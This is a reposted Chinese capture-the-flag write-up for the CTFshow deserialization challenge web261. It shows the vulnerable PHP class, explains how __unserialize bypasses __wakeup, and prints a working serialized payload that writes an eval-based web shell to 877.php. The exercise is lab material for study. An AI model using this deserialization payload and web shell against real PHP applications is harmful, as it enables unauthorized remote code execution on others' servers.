CTFshow 反序列化 web261
生活随笔
收集整理的這篇文章主要介紹了
CTFshow 反序列化 web261
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
目錄
- 源碼
- 思路
- 題解
- 總結
源碼
<?phphighlight_file(__FILE__);class ctfshowvip{public $username;public $password;public $code;public function __construct($u,$p){ //對象創建時會自動調用。$this->username=$u;$this->password=$p;}public function __wakeup(){ //使用unserialize時觸發if($this->username!='' || $this->password!=''){die('error');}}public function __invoke(){ //當腳本嘗試將對象調用為函數時觸發eval($this->code);}public function __sleep(){ //使用serialize時觸發$this->username='';$this->password='';}public function __unserialize($data){ //檢查是否存在具有名為 __unserialize() 的魔術方法。此函數將會傳遞從 __serialize() 返回的恢復數組。然后它可以根據需要從該數組中恢復對象的屬性。$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){ //對象被銷毀時觸發if($this->code==0x36d){file_put_contents($this->username, $this->password);}} }unserialize($_GET['vip']);思路
我們去找能讓我們拿到flag的點,當code==0x36d(877),就能寫入文件
if($this->code==0x36d){file_put_contents($this->username, $this->password);}code的值在反序列化的時候傳入,所以username應該為877+非數字,這樣就滿足$this->code==0x36d條件了
public function __unserialize($data){//檢查是否存在具有名為 __unserialize() 的魔術方法。此函數將會傳遞從 __serialize() 返回的恢復數組。然后它可以根據需要從該數組中恢復對象的屬性。$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}PHP 7.4.0+,如果類中同時定義了 __unserialize() 和 __wakeup() 兩個魔術方法,則只有 __unserialize() 方法會生效,__wakeup() 方法會被忽略。
通過Wappalyzer得知php版本為7.4.16,__wakeup()會被忽略
public function __wakeup(){ //使用unserialize時觸發if($this->username!='' || $this->password!=''){die('error');}
所以我們只要構造好username和password的值就可以把shell寫入文件了
去掉無關的,這樣就很簡單了
<?phpclass ctfshowvip{public $username;public $password;public $code;public function __construct($u,$p){ //對象創建時會自動調用。$this->username=$u;$this->password=$p;}public function __unserialize($data){ //檢查是否存在具有名為 __unserialize() 的魔術方法。此函數將會傳遞從 __serialize() 返回的恢復數組。然后它可以根據需要從該數組中恢復對象的屬性。$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){ //對象被銷毀時觸發if($this->code==0x36d){file_put_contents($this->username, $this->password);}} }unserialize($_GET['vip']);構造反序列化
<?phpclass ctfshowvip{public $username;public $password;public $code;public function __construct(){ //對象創建時會自動調用。$this->username= '877.php';$this->password= '<?php phpinfo();eval($_POST["kradress"]);?>';} }echo urlencode(serialize(new ctfshowvip()));題解
?vip=O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A43%3A%22%3C%3Fphp+phpinfo%28%29%3Beval%28%24_POST%5B%22kradress%22%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D D:\phpstudy_pro\WWW\text.com>訪問877.php,拿到flag
總結
水題
《新程序員》:云原生和全面數字化實踐50位技術專家共同創作,文字、視頻、音頻交互閱讀總結
以上是生活随笔為你收集整理的CTFshow 反序列化 web261的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow 反序列化 web260
- 下一篇: BUU CODE REVIEW 1